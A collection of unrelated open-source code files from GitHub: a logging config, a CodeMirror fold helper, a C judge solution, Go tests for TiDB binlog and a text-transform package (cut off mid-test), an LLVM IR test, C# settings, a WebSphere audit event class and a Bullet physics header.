level="DEBUG"/> <logger name="org.springframework.cloud.sleuth.instrument.reactor" level="TRACE"/> <root level="INFO"> <appender-ref ref="CONSOLE"/> <appender-ref ref="FILE"/> </root> </configuration>
{ "pile_set_name": "Github" }
environments: pipelines:
{ "pile_set_name": "Github" }
// CodeMirror, copyright (c) by Marijn Haverbeke and others // Distributed under an MIT license: http://codemirror.net/LICENSE (function(mod) { if (typeof exports == "object" && typeof module == "object") // CommonJS mod(require("../../lib/codemirror")); else if (typeof define == "function" && define.amd) // AMD define(["../../lib/codemirror"], mod); else // Plain browser env mod(CodeMirror); })(function(CodeMirror) { "use strict"; CodeMirror.registerHelper("fold", "markdown", function(cm, start) { var maxDepth = 100; function isHeader(lineNo) { var tokentype = cm.getTokenTypeAt(CodeMirror.Pos(lineNo, 0)); return tokentype && /\bheader\b/.test(tokentype); } function headerLevel(lineNo, line, nextLine) { var match = line && line.match(/^#+/); if (match && isHeader(lineNo)) return match[0].length; match = nextLine && nextLine.match(/^[=\-]+\s*$/); if (match && isHeader(lineNo + 1)) return nextLine[0] == "=" ? 1 : 2; return maxDepth; } var firstLine = cm.getLine(start.line), nextLine = cm.getLine(start.line + 1); var level = headerLevel(start.line, firstLine, nextLine); if (level === maxDepth) return undefined; var lastLineNo = cm.lastLine(); var end = start.line, nextNextLine = cm.getLine(end + 2); while (end < lastLineNo) { if (headerLevel(end + 1, nextLine, nextNextLine) <= level) break; ++end; nextLine = nextNextLine; nextNextLine = cm.getLine(end + 2); } return { from: CodeMirror.Pos(start.line, firstLine.length), to: CodeMirror.Pos(end, cm.getLine(end).length) }; }); });
{ "pile_set_name": "Github" }
#include <stdio.h> #define MAX 500 int main() { int i,j,k,n,m,x1,y1,x2,y2,win[MAX][MAX]; while(scanf("%d",&n),n){ for(i=0;i<MAX;i++) for(j=0;j<MAX;j++) win[i][j]=-1; for(k=0;k<n;k++){ scanf("%d%d%d%d",&x1,&y1,&x2,&y2); for(i=x1;i<=x2;i++) for(j=y1;j<=y2;j++) win[i][j]=k; } scanf("%d",&m); while(m--){ scanf("%d%d",&i,&j); printf("%d\n",win[i][j]); } } return 0; /* NZEC */ } /* //Run ID Submit time Judge Status Problem ID Language Run time Run memory User Name */ /* //2502175 2007-06-24 22:01:45 Accepted 2480 C 00:00.00 1364K ¤ï¤¿¤· */ // 2012-09-07 03:10:40 | Accepted | 2480 | C | 0 | 160 | watashi | Source
{ "pile_set_name": "Github" }
// Copyright 2019 PingCAP, Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // See the License for the specific language governing permissions and // limitations under the License. package translator import ( "fmt" "github.com/pingcap/check" "github.com/pingcap/parser/model" "github.com/pingcap/parser/mysql" "github.com/pingcap/tidb-binlog/pkg/loader" "github.com/pingcap/tidb/types" ) type testMysqlSuite struct { BinlogGenerator } var _ = check.Suite(&testMysqlSuite{}) func (t *testMysqlSuite) TestGenColumnList(c *check.C) { table := testGenTable("normal") c.Assert(genColumnNameList(table.Columns), check.DeepEquals, []string{"ID", "NAME", "SEX"}) } func (t *testMysqlSuite) TestDDL(c *check.C) { t.SetDDL() txn, err := TiBinlogToTxn(t, t.Schema, t.Table, t.TiBinlog, nil, true) c.Assert(err, check.IsNil) c.Assert(txn, check.DeepEquals, &loader.Txn{ DDL: &loader.DDL{ Database: t.Schema, Table: t.Table, SQL: string(t.TiBinlog.GetDdlQuery()), ShouldSkip: true, }, }) } func (t *testMysqlSuite) testDML(c *check.C, tp loader.DMLType) { txn, err := TiBinlogToTxn(t, t.Schema, t.Table, t.TiBinlog, t.PV, false) c.Assert(err, check.IsNil) c.Assert(txn.DMLs, check.HasLen, 1) c.Assert(txn.DDL, check.IsNil) dml := txn.DMLs[0] c.Assert(dml.Tp, check.Equals, tp) tableID := t.PV.Mutations[0].TableId info, _ := t.TableByID(tableID) schema, table, _ := t.SchemaAndTableName(tableID) c.Assert(dml.Database, check.Equals, schema) c.Assert(dml.Table, check.Equals, table) var oldDatums []types.Datum if tp == loader.UpdateDMLType { oldDatums = t.getOldDatums() } checkMysqlColumns(c, info, dml, t.getDatums(), oldDatums) } func (t *testMysqlSuite) TestInsert(c *check.C) { t.SetInsert(c) t.testDML(c, loader.InsertDMLType) } func (t *testMysqlSuite) TestUpdate(c *check.C) { t.SetUpdate(c) t.testDML(c, loader.UpdateDMLType) } func (t *testMysqlSuite) TestDelete(c *check.C) { t.SetDelete(c) t.testDML(c, loader.DeleteDMLType) } func checkMysqlColumns(c *check.C, info *model.TableInfo, dml *loader.DML, datums []types.Datum, oldDatums []types.Datum) { for i, column := range info.Columns { myValue := dml.Values[column.Name.O] checkMysqlColumn(c, column, myValue, datums[i]) if oldDatums != nil { myValue := dml.OldValues[column.Name.O] checkMysqlColumn(c, column, myValue, oldDatums[i]) } } } func checkMysqlColumn(c *check.C, col *model.ColumnInfo, myValue interface{}, datum types.Datum) { tiStr, err := datum.ToString() c.Assert(err, check.IsNil) if col.Tp == mysql.TypeEnum { tiStr = fmt.Sprintf("%d", datum.GetInt64()) } // tidb encode string type datums as bytes // so we get bytes type datums for txn if slice, ok := myValue.([]byte); ok { myValue = string(slice) } myStr := fmt.Sprintf("%v", myValue) c.Assert(myStr, check.Equals, tiStr) }
{ "pile_set_name": "Github" }
; RUN: opt -S -basicaa -loop-vectorize < %s | FileCheck %s target datalayout = "E-m:e-i64:64-n32:64" target triple = "powerpc64-unknown-linux-gnu" ; Function Attrs: nounwind define void @foo(double* noalias nocapture %a, double* noalias nocapture readonly %b, double* noalias nocapture readonly %c) #0 { entry: br label %for.body ; CHECK-LABEL: @foo ; CHECK: fmul <4 x double> %{{[^,]+}}, <double 2.000000e+00, double 2.000000e+00, double 2.000000e+00, double 2.000000e+00> ; CHECK-NEXT: fmul <4 x double> %{{[^,]+}}, <double 2.000000e+00, double 2.000000e+00, double 2.000000e+00, double 2.000000e+00> for.cond.cleanup: ; preds = %for.body ret void for.body: ; preds = %for.body, %entry %indvars.iv = phi i64 [ 0, %entry ], [ %indvars.iv.next, %for.body ] %arrayidx = getelementptr inbounds double, double* %b, i64 %indvars.iv %0 = load double, double* %arrayidx, align 8 %mul = fmul double %0, 2.000000e+00 %mul3 = fmul double %0, %mul %arrayidx5 = getelementptr inbounds double, double* %c, i64 %indvars.iv %1 = load double, double* %arrayidx5, align 8 %mul6 = fmul double %1, 3.000000e+00 %mul9 = fmul double %1, %mul6 %add = fadd double %mul3, %mul9 %mul12 = fmul double %0, 4.000000e+00 %mul15 = fmul double %mul12, %1 %add16 = fadd double %mul15, %add %add17 = fadd double %add16, 1.000000e+00 %arrayidx19 = getelementptr inbounds double, double* %a, i64 %indvars.iv store double %add17, double* %arrayidx19, align 8 %indvars.iv.next = add nuw nsw i64 %indvars.iv, 1 %exitcond = icmp eq i64 %indvars.iv.next, 1600 br i1 %exitcond, label %for.cond.cleanup, label %for.body } attributes #0 = { nounwind "target-cpu"="a2q" }
{ "pile_set_name": "Github" }
//------------------------------------------------------------------------------ // <auto-generated> // This code was generated by a tool. // Runtime Version:4.0.30319.42000 // // Changes to this file may cause incorrect behavior and will be lost if // the code is regenerated. // </auto-generated> //------------------------------------------------------------------------------ namespace WinUI.Properties { [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")] internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); public static Settings Default { get { return defaultInstance; } } } }
{ "pile_set_name": "Github" }
/******************************************************************************* * Copyright (c) 2018, 2019 IBM Corporation and others. * All rights reserved. This program and the accompanying materials * are made available under the terms of the Eclipse Public License v1.0 * which accompanies this distribution, and is available at * http://www.eclipse.org/legal/epl-v10.html * * Contributors: * IBM Corporation - initial API and implementation *******************************************************************************/ package com.ibm.ws.security.audit.event; import java.net.URLDecoder; import java.util.Map; import javax.servlet.http.HttpServletRequest; import com.ibm.websphere.ras.Tr; import com.ibm.websphere.ras.TraceComponent; import com.ibm.websphere.security.audit.AuditConstants; import com.ibm.websphere.security.audit.AuditEvent; import com.ibm.ws.security.audit.utils.AuditUtils; import com.ibm.ws.webcontainer.security.AuthenticationResult; /** * Class with default values for authentication events */ public class AuthenticationTerminateEvent extends AuditEvent { private static final TraceComponent tc = Tr.register(AuthenticationTerminateEvent.class); @SuppressWarnings("unchecked") public AuthenticationTerminateEvent() { set(AuditEvent.EVENTNAME, AuditConstants.SECURITY_AUTHN_TERMINATE); setInitiator((Map<String, Object>) AuditEvent.STD_INITIATOR.clone()); setObserver((Map<String, Object>) AuditEvent.STD_OBSERVER.clone()); setTarget((Map<String, Object>) AuditEvent.STD_TARGET.clone()); } public AuthenticationTerminateEvent(HttpServletRequest req, AuthenticationResult authResult, Integer statusCode) { this(); try { // add initiator if (req != null && req.getRemoteAddr() != null) set(AuditEvent.INITIATOR_HOST_ADDRESS, req.getRemoteAddr()); String agent = req.getHeader("User-Agent"); if (agent != null) set(AuditEvent.INITIATOR_HOST_AGENT, agent); // add target set(AuditEvent.TARGET_NAME, URLDecoder.decode(req.getRequestURI(), "UTF-8")); if (req.getQueryString() != null) { String str = URLDecoder.decode(req.getQueryString(), "UTF-8"); str = AuditUtils.hidePassword(str); set(AuditEvent.TARGET_PARAMS, str); } if (AuditUtils.getJ2EEComponentName() != null) { set(AuditEvent.TARGET_APPNAME, AuditUtils.getJ2EEComponentName()); } set(AuditEvent.TARGET_HOST_ADDRESS, req.getLocalAddr() + ":" + req.getLocalPort()); set(AuditEvent.TARGET_CREDENTIAL_TYPE, authResult.getAuditCredType()); if (authResult.getAuditCredValue() != null) set(AuditEvent.TARGET_CREDENTIAL_TOKEN, authResult.getAuditCredValue()); else if (req.getUserPrincipal() != null && req.getUserPrincipal().getName() != null) set(AuditEvent.TARGET_CREDENTIAL_TOKEN, req.getUserPrincipal().getName()); else if (authResult.getAuditLogoutSubject() != null) set(AuditEvent.TARGET_CREDENTIAL_TOKEN, authResult.getAuditLogoutSubject().getPrincipals().iterator().next().getName()); String sessionID = AuditUtils.getSessionID(req); if (sessionID != null) { set(AuditEvent.TARGET_SESSION, sessionID); } set(AuditEvent.TARGET_REALM, AuditUtils.getRealmName()); if (authResult.getAuditAuthConfigProviderName() != null) { set(AuditEvent.TARGET_JASPI_PROVIDER, authResult.getAuditAuthConfigProviderName()); } if (authResult.getAuditAuthConfigProviderAuthType() != null) { set(AuditEvent.TARGET_JASPI_AUTHTYPE, authResult.getAuditAuthConfigProviderAuthType()); } set(AuditEvent.TARGET_METHOD, AuditUtils.getRequestMethod(req)); String arOutcome = authResult.getAuditOutcome(); switch (authResult.getStatus()) { case SUCCESS: { setOutcome(arOutcome != null ? arOutcome : AuditEvent.OUTCOME_SUCCESS); if (statusCode != null) { set(AuditEvent.REASON_CODE, statusCode); set(AuditEvent.REASON_TYPE, AuditUtils.getRequestScheme(req)); } break; } case FAILURE: { setOutcome(arOutcome != null ? arOutcome : AuditEvent.OUTCOME_FAILURE); if (statusCode != null) { set(AuditEvent.REASON_CODE, statusCode); set(AuditEvent.REASON_TYPE, AuditUtils.getRequestScheme(req)); } break; } case SEND_401: { setOutcome(arOutcome != null ? arOutcome : AuditEvent.OUTCOME_CHALLENGE); if (statusCode != null) { set(AuditEvent.REASON_CODE, statusCode); set(AuditEvent.REASON_TYPE, AuditUtils.getRequestScheme(req)); } break; } case REDIRECT: { setOutcome(arOutcome != null ? arOutcome : AuditEvent.OUTCOME_REDIRECT); if (statusCode != null) { set(AuditEvent.REASON_CODE, statusCode); set(AuditEvent.REASON_TYPE, AuditUtils.getRequestScheme(req)); } break; } case TAI_CHALLENGE: { setOutcome(arOutcome != null ? arOutcome : AuditEvent.OUTCOME_TAI_CHALLENGE); if (statusCode != null) { set(AuditEvent.REASON_CODE, statusCode); set(AuditEvent.REASON_TYPE, AuditUtils.getRequestScheme(req)); } break; } case REDIRECT_TO_PROVIDER: { setOutcome(arOutcome != null ? arOutcome : AuditEvent.OUTCOME_REDIRECT_TO_PROVIDER); if (statusCode != null) { set(AuditEvent.REASON_CODE, statusCode); set(AuditEvent.REASON_TYPE, AuditUtils.getRequestScheme(req)); } break; } default: { // TODO: what should we do here? if (TraceComponent.isAnyTracingEnabled() && tc.isDebugEnabled()) { Tr.debug(tc, "Unknown AuthenticationResult: " + authResult.getStatus()); } break; } } } catch (Exception e) { if (TraceComponent.isAnyTracingEnabled() && tc.isDebugEnabled()) { Tr.debug(tc, "Internal error creating AuthenticationTerminateEvent", e); } } } }
{ "pile_set_name": "Github" }
/* Bullet Continuous Collision Detection and Physics Library Copyright (c) 2013 Erwin Coumans http://bulletphysics.org This software is provided 'as-is', without any express or implied warranty. In no event will the authors be held liable for any damages arising from the use of this software. Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following restrictions: 1. The origin of this software must not be misrepresented; you must not claim that you wrote the original software. If you use this software in a product, an acknowledgment in the product documentation would be appreciated but is not required. 2. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software. 3. This notice may not be removed or altered from any source distribution. */ ///This file was written by Erwin Coumans #ifndef BT_MULTIBODY_GEAR_CONSTRAINT_H #define BT_MULTIBODY_GEAR_CONSTRAINT_H #include "btMultiBodyConstraint.h" class btMultiBodyGearConstraint : public btMultiBodyConstraint { protected: btRigidBody* m_rigidBodyA; btRigidBody* m_rigidBodyB; btVector3 m_pivotInA; btVector3 m_pivotInB; btMatrix3x3 m_frameInA; btMatrix3x3 m_frameInB; btScalar m_gearRatio; int m_gearAuxLink; btScalar m_erp; btScalar m_relativePositionTarget; public: //btMultiBodyGearConstraint(btMultiBody* body, int link, btRigidBody* bodyB, const btVector3& pivotInA, const btVector3& pivotInB, const btMatrix3x3& frameInA, const btMatrix3x3& frameInB); btMultiBodyGearConstraint(btMultiBody* bodyA, int linkA, btMultiBody* bodyB, int linkB, const btVector3& pivotInA, const btVector3& pivotInB, const btMatrix3x3& frameInA, const btMatrix3x3& frameInB); virtual ~btMultiBodyGearConstraint(); virtual void finalizeMultiDof(); virtual int getIslandIdA() const; virtual int getIslandIdB() const; virtual void createConstraintRows(btMultiBodyConstraintArray& constraintRows, btMultiBodyJacobianData& data, const btContactSolverInfo& infoGlobal); const btVector3& getPivotInA() const { return m_pivotInA; } void setPivotInA(const btVector3& pivotInA) { m_pivotInA = pivotInA; } const btVector3& getPivotInB() const { return m_pivotInB; } virtual void setPivotInB(const btVector3& pivotInB) { m_pivotInB = pivotInB; } const btMatrix3x3& getFrameInA() const { return m_frameInA; } void setFrameInA(const btMatrix3x3& frameInA) { m_frameInA = frameInA; } const btMatrix3x3& getFrameInB() const { return m_frameInB; } virtual void setFrameInB(const btMatrix3x3& frameInB) { m_frameInB = frameInB; } virtual void debugDraw(class btIDebugDraw* drawer) { //todo(erwincoumans) } virtual void setGearRatio(btScalar gearRatio) { m_gearRatio = gearRatio; } virtual void setGearAuxLink(int gearAuxLink) { m_gearAuxLink = gearAuxLink; } virtual void setRelativePositionTarget(btScalar relPosTarget) { m_relativePositionTarget = relPosTarget; } virtual void setErp(btScalar erp) { m_erp = erp; } }; #endif //BT_MULTIBODY_GEAR_CONSTRAINT_H
{ "pile_set_name": "Github" }
// Copyright 2013 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package transform import ( "bytes" "errors" "fmt" "io/ioutil" "strconv" "strings" "testing" "time" "unicode/utf8" ) type lowerCaseASCII struct{ NopResetter } func (lowerCaseASCII) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) { n := len(src) if n > len(dst) { n, err = len(dst), ErrShortDst } for i, c := range src[:n] { if 'A' <= c && c <= 'Z' { c += 'a' - 'A' } dst[i] = c } return n, n, err } var errYouMentionedX = errors.New("you mentioned X") type dontMentionX struct{ NopResetter } func (dontMentionX) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) { n := len(src) if n > len(dst) { n, err = len(dst), ErrShortDst } for i, c := range src[:n] { if c == 'X' { return i, i, errYouMentionedX } dst[i] = c } return n, n, err } // doublerAtEOF is a strange Transformer that transforms "this" to "tthhiiss", // but only if atEOF is true. type doublerAtEOF struct{ NopResetter } func (doublerAtEOF) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) { if !atEOF { return 0, 0, ErrShortSrc } for i, c := range src { if 2*i+2 >= len(dst) { return 2 * i, i, ErrShortDst } dst[2*i+0] = c dst[2*i+1] = c } return 2 * len(src), len(src), nil } // rleDecode and rleEncode implement a toy run-length encoding: "aabbbbbbbbbb" // is encoded as "2a10b". The decoding is assumed to not contain any numbers. type rleDecode struct{ NopResetter } func (rleDecode) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) { loop: for len(src) > 0 { n := 0 for i, c := range src { if '0' <= c && c <= '9' { n = 10*n + int(c-'0') continue } if i == 0 { return nDst, nSrc, errors.New("rleDecode: bad input") } if n > len(dst) { return nDst, nSrc, ErrShortDst } for j := 0; j < n; j++ { dst[j] = c } dst, src = dst[n:], src[i+1:] nDst, nSrc = nDst+n, nSrc+i+1 continue loop } if atEOF { return nDst, nSrc, errors.New("rleDecode: bad input") } return nDst, nSrc, ErrShortSrc } return nDst, nSrc, nil } type rleEncode struct { NopResetter // allowStutter means that "xxxxxxxx" can be encoded as "5x3x" // instead of always as "8x". allowStutter bool } func (e rleEncode) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) { for len(src) > 0 { n, c0 := len(src), src[0] for i, c := range src[1:] { if c != c0 { n = i + 1 break } } if n == len(src) && !atEOF && !e.allowStutter { return nDst, nSrc, ErrShortSrc } s := strconv.Itoa(n) if len(s) >= len(dst) { return nDst, nSrc, ErrShortDst } copy(dst, s) dst[len(s)] = c0 dst, src = dst[len(s)+1:], src[n:] nDst, nSrc = nDst+len(s)+1, nSrc+n } return nDst, nSrc, nil } // trickler consumes all input bytes, but writes a single byte at a time to dst. type trickler []byte func (t *trickler) Reset() { *t = nil } func (t *trickler) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) { *t = append(*t, src...) if len(*t) == 0 { return 0, 0, nil } if len(dst) == 0 { return 0, len(src), ErrShortDst } dst[0] = (*t)[0] *t = (*t)[1:] if len(*t) > 0 { err = ErrShortDst } return 1, len(src), err } // delayedTrickler is like trickler, but delays writing output to dst. This is // highly unlikely to be relevant in practice, but it seems like a good idea // to have some tolerance as long as progress can be detected. type delayedTrickler []byte func (t *delayedTrickler) Reset() { *t = nil } func (t *delayedTrickler) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) { if len(*t) > 0 && len(dst) > 0 { dst[0] = (*t)[0] *t = (*t)[1:] nDst = 1 } *t = append(*t, src...) if len(*t) > 0 { err = ErrShortDst } return nDst, len(src), err } type testCase struct { desc string t Transformer src string dstSize int srcSize int ioSize int wantStr string wantErr error wantIter int // number of iterations taken; 0 means we don't care. } func (t testCase) String() string { return tstr(t.t) + "; " + t.desc } func tstr(t Transformer) string { if stringer, ok := t.(fmt.Stringer); ok { return stringer.String() } s := fmt.Sprintf("%T", t) return s[1+strings.Index(s, "."):] } func (c chain) String() string { buf := &bytes.Buffer{} buf.WriteString("Chain(") for i, l := range c.link[:len(c.link)-1] { if i != 0 { fmt.Fprint(buf, ", ") } buf.WriteString(tstr(l.t)) } buf.WriteString(")") return buf.String() } var testCases = []testCase{ { desc: "empty", t: lowerCaseASCII{}, src: "", dstSize: 100, srcSize: 100, wantStr: "", }, { desc: "basic", t: lowerCaseASCII{}, src: "Hello WORLD.", dstSize: 100, srcSize: 100, wantStr: "hello world.", }, { desc: "small dst", t: lowerCaseASCII{}, src: "Hello WORLD.", dstSize: 3, srcSize: 100, wantStr: "hello world.", }, { desc: "small src", t: lowerCaseASCII{}, src: "Hello WORLD.", dstSize: 100, srcSize: 4, wantStr: "hello world.", }, { desc: "small buffers", t: lowerCaseASCII{}, src: "Hello WORLD.", dstSize: 3, srcSize: 4, wantStr: "hello world.", }, { desc: "very small buffers", t: lowerCaseASCII{}, src: "Hello WORLD.", dstSize: 1, srcSize: 1, wantStr: "hello world.", }, { desc: "basic", t: dontMentionX{}, src: "The First Rule of Transform Club: don't mention Mister X, ever.", dstSize: 100, srcSize: 100, wantStr: "The First Rule of Transform Club: don't mention Mister ", wantErr: errYouMentionedX, }, { desc: "small buffers", t: dontMentionX{}, src: "The First Rule of Transform Club: don't mention Mister X, ever.", dstSize: 10, srcSize: 10, wantStr: "The First Rule of Transform Club: don't mention Mister ", wantErr: errYouMentionedX, }, { desc: "very small buffers", t: dontMentionX{}, src: "The First Rule of Transform Club: don't mention Mister X, ever.", dstSize: 1, srcSize: 1, wantStr: "The First Rule of Transform Club: don't mention Mister ", wantErr: errYouMentionedX, }, { desc: "only transform at EOF", t: doublerAtEOF{}, src: "this", dstSize: 100, srcSize: 100, wantStr: "tthhiiss", }, { desc: "basic", t: rleDecode{}, src: "1a2b3c10d11e0f1g", dstSize: 100, srcSize: 100, wantStr: "abbcccddddddddddeeeeeeeeeeeg", }, { desc: "long", t: rleDecode{}, src: "12a23b34c45d56e99z", dstSize: 100, srcSize: 100, wantStr: strings.Repeat("a", 12) + strings.Repeat("b", 23) + strings.Repeat("c", 34) + strings.Repeat("d", 45) + strings.Repeat("e", 56) + strings.Repeat("z", 99), }, { desc: "tight buffers", t: rleDecode{}, src: "1a2b3c10d11e0f1g", dstSize: 11, srcSize: 3, wantStr: "abbcccddddddddddeeeeeeeeeeeg", }, { desc: "short dst", t: rleDecode{}, src: "1a2b3c10d11e0f1g", dstSize: 10, srcSize: 3, wantStr: "abbcccdddddddddd", wantErr: ErrShortDst, }, { desc: "short src", t: rleDecode{}, src: "1a2b3c10d11e0f1g", dstSize: 11, srcSize: 2, ioSize: 2, wantStr: "abbccc", wantErr: ErrShortSrc, }, { desc: "basic", t: rleEncode{}, src: "abbcccddddddddddeeeeeeeeeeeg", dstSize: 100, srcSize: 100, wantStr: "1a2b3c10d11e1g", }, { desc: "long", t: rleEncode{}, src: strings.Repeat("a", 12) + strings.Repeat("b", 23) + strings.Repeat("c", 34) + strings.Repeat("d", 45) + strings.Repeat("e", 56) + strings.Repeat("z", 99), dstSize: 100, srcSize: 100, wantStr: "12a23b34c45d56e99z", }, { desc: "tight buffers", t: rleEncode{}, src: "abbcccddddddddddeeeeeeeeeeeg", dstSize: 3, srcSize: 12, wantStr: "1a2b3c10d11e1g", }, { desc: "short dst", t: rleEncode{}, src: "abbcccddddddddddeeeeeeeeeeeg", dstSize: 2, srcSize: 12, wantStr: "1a2b3c", wantErr: ErrShortDst, }, { desc: "short src", t: rleEncode{}, src: "abbcccddddddddddeeeeeeeeeeeg", dstSize: 3, srcSize: 11, ioSize: 11, wantStr: "1a2b3c10d", wantErr: ErrShortSrc, }, { desc: "allowStutter = false", t: rleEncode{allowStutter: false}, src: "aaaabbbbbbbbccccddddd", dstSize: 10, srcSize: 10, wantStr: "4a8b4c5d", }, { desc: "allowStutter = true", t: rleEncode{allowStutter: true}, src: "aaaabbbbbbbbccccddddd", dstSize: 10, srcSize: 10, ioSize: 10, wantStr: "4a6b2b4c4d1d", }, { desc: "trickler", t: &trickler{}, src: "abcdefghijklm", dstSize: 3, srcSize: 15, wantStr: "abcdefghijklm", }, { desc: "delayedTrickler", t: &delayedTrickler{}, src: "abcdefghijklm", dstSize: 3, srcSize: 15, wantStr: "abcdefghijklm", }, } func TestReader(t *testing.T) { for _, tc := range testCases { r := NewReader(strings.NewReader(tc.src), tc.t) // Differently sized dst and src buffers are not part of the // exported API. We override them manually. r.dst = make([]byte, tc.dstSize) r.src = make([]byte, tc.srcSize) got, err := ioutil.ReadAll(r) str := string(got) if str != tc.wantStr || err != tc.wantErr { t.Errorf("%s:\ngot %q, %v\nwant %q, %v", tc, str, err, tc.wantStr, tc.wantErr) } } } func TestWriter(t *testing.T) { tests := append(testCases, chainTests()...) for _, tc := range tests { sizes := []int{1, 2, 3, 4, 5, 10, 100, 1000} if tc.ioSize > 0 { sizes = []int{tc.ioSize} } for _, sz := range sizes { bb := &bytes.Buffer{} w := NewWriter(bb, tc.t) // Differently sized dst and src buffers are not part of the // exported API. We override them manually. w.dst = make([]byte, tc.dstSize) w.src = make([]byte, tc.srcSize) src := make([]byte, sz) var err error for b := tc.src; len(b) > 0 && err == nil; { n := copy(src, b) b = b[n:] m := 0 m, err = w.Write(src[:n]) if m != n && err == nil { t.Errorf("%s:%d: did not consume all bytes %d < %d", tc, sz, m, n) } } if err == nil { err = w.Close() } str := bb.String() if str != tc.wantStr || err != tc.wantErr { t.Errorf("%s:%d:\ngot %q, %v\nwant %q, %v", tc, sz, str, err, tc.wantStr, tc.wantErr) } } } } func TestNop(t *testing.T) { testCases := []struct { str string dstSize int err error }{ {"", 0, nil}, {"", 10, nil}, {"a", 0, ErrShortDst}, {"a", 1, nil}, {"a", 10, nil}, } for i, tc := range testCases { dst := make([]byte, tc.dstSize) nDst, nSrc, err := Nop.Transform(dst, []byte(tc.str), true) want := tc.str if tc.dstSize < len(want) { want = want[:tc.dstSize] } if got := string(dst[:nDst]); got != want || err != tc.err || nSrc != nDst { t.Errorf("%d:\ngot %q, %d, %v\nwant %q, %d, %v", i, got, nSrc, err, want, nDst, tc.err) } } } func TestDiscard(t *testing.T) { testCases := []struct { str string dstSize int }{ {"", 0}, {"", 10}, {"a", 0}, {"ab", 10}, } for i, tc := range testCases { nDst, nSrc, err := Discard.Transform(make([]byte, tc.dstSize), []byte(tc.str), true) if nDst != 0 || nSrc != len(tc.str) || err != nil { t.Errorf("%d:\ngot %q, %d, %v\nwant 0, %d, nil", i, nDst, nSrc, err, len(tc.str)) } } } // mkChain creates a Chain transformer. x must be alternating between transformer // and bufSize, like T, (sz, T)* func mkChain(x ...interface{}) *chain { t := []Transformer{} for i := 0; i < len(x); i += 2 { t = append(t, x[i].(Transformer)) } c := Chain(t...).(*chain) for i, j := 1, 1; i < len(x); i, j = i+2, j+1 { c.link[j].b = make([]byte, x[i].(int)) } return c } func chainTests() []testCase { return []testCase{ { desc: "nil error", t: mkChain(rleEncode{}, 100, lowerCaseASCII{}), src: "ABB", dstSize: 100, srcSize: 100, wantStr: "1a2b", wantErr: nil, wantIter: 1, }, { desc: "short dst buffer", t: mkChain(lowerCaseASCII{}, 3, rleDecode{}), src: "1a2b3c10d11e0f1g", dstSize: 10, srcSize: 3, wantStr: "abbcccdddddddddd", wantErr: ErrShortDst, }, { desc: "short internal dst buffer", t: mkChain(lowerCaseASCII{}, 3, rleDecode{}, 10, Nop), src: "1a2b3c10d11e0f1g", dstSize: 100, srcSize: 3, wantStr: "abbcccdddddddddd", wantErr: errShortInternal, }, { desc: "short internal dst buffer from input", t: mkChain(rleDecode{}, 10, Nop), src: "1a2b3c10d11e0f1g", dstSize: 100, srcSize: 3, wantStr: "abbcccdddddddddd", wantErr: errShortInternal, }, { desc: "empty short internal dst buffer", t: mkChain(lowerCaseASCII{}, 3, rleDecode{}, 10, Nop), src: "4a7b11e0f1g", dstSize: 100, srcSize: 3, wantStr: "aaaabbbbbbb", wantErr: errShortInternal, }, { desc: "empty short internal dst buffer from input", t: mkChain(rleDecode{}, 10, Nop), src: "4a7b11e0f1g", dstSize: 100, srcSize: 3, wantStr: "aaaabbbbbbb", wantErr: errShortInternal, }, { desc: "short internal src buffer after full dst buffer", t: mkChain(Nop, 5, rleEncode{}, 10, Nop), src: "cccccddddd", dstSize: 100, srcSize: 100, wantStr: "", wantErr: errShortInternal, wantIter: 1, }, { desc: "short internal src buffer after short dst buffer; test lastFull", t: mkChain(rleDecode{}, 5, rleEncode{}, 4, Nop), src: "2a1b4c6d", dstSize: 100, srcSize: 100, wantStr: "2a1b", wantErr: errShortInternal, }, { desc: "short internal src buffer after successful complete fill", t: mkChain(Nop, 3, rleDecode{}), src: "123a4b", dstSize: 4, srcSize: 3, wantStr: "", wantErr: errShortInternal, wantIter: 1, }, { desc: "short internal src buffer after short dst buffer; test lastFull", t: mkChain(rleDecode{}, 5, rleEncode{}), src: "2a1b4c6d", dstSize: 4, srcSize: 100, wantStr: "2a1b", wantErr: errShortInternal, }, { desc: "short src buffer", t: mkChain(rleEncode{}, 5, Nop), src: "abbcccddddeeeee", dstSize: 4, srcSize: 4, ioSize: 4, wantStr: "1a2b3c", wantErr: ErrShortSrc, }, { desc: "process all in one go", t: mkChain(rleEncode{}, 5, Nop), src: "abbcccddddeeeeeffffff", dstSize: 100, srcSize: 100, wantStr: "1a2b3c4d5e6f", wantErr: nil, wantIter: 1, }, { desc: "complete processing downstream after error", t: mkChain(dontMentionX{}, 2, rleDecode{}, 5, Nop), src: "3a4b5eX", dstSize: 100, srcSize: 100, ioSize: 100, wantStr: "aaabbbbeeeee", wantErr: errYouMentionedX, }, { desc: "return downstream fatal errors first (followed by short dst)", t: mkChain(dontMentionX{}, 8, rleDecode{}, 4, Nop), src: "3a4b5eX", dstSize: 100, srcSize: 100, ioSize: 100, wantStr: "aaabbbb", wantErr: errShortInternal, }, { desc: "return downstream fatal errors first (followed by short src)", t: mkChain(dontMentionX{}, 5, Nop, 1, rleDecode{}), src: "1a5bX", dstSize: 100, srcSize: 100, ioSize: 100, wantStr: "", wantErr: errShortInternal, }, { desc: "short internal", t: mkChain(Nop, 11, rleEncode{}, 3, Nop), src: "abbcccddddddddddeeeeeeeeeeeg", dstSize: 3, srcSize: 100, wantStr: 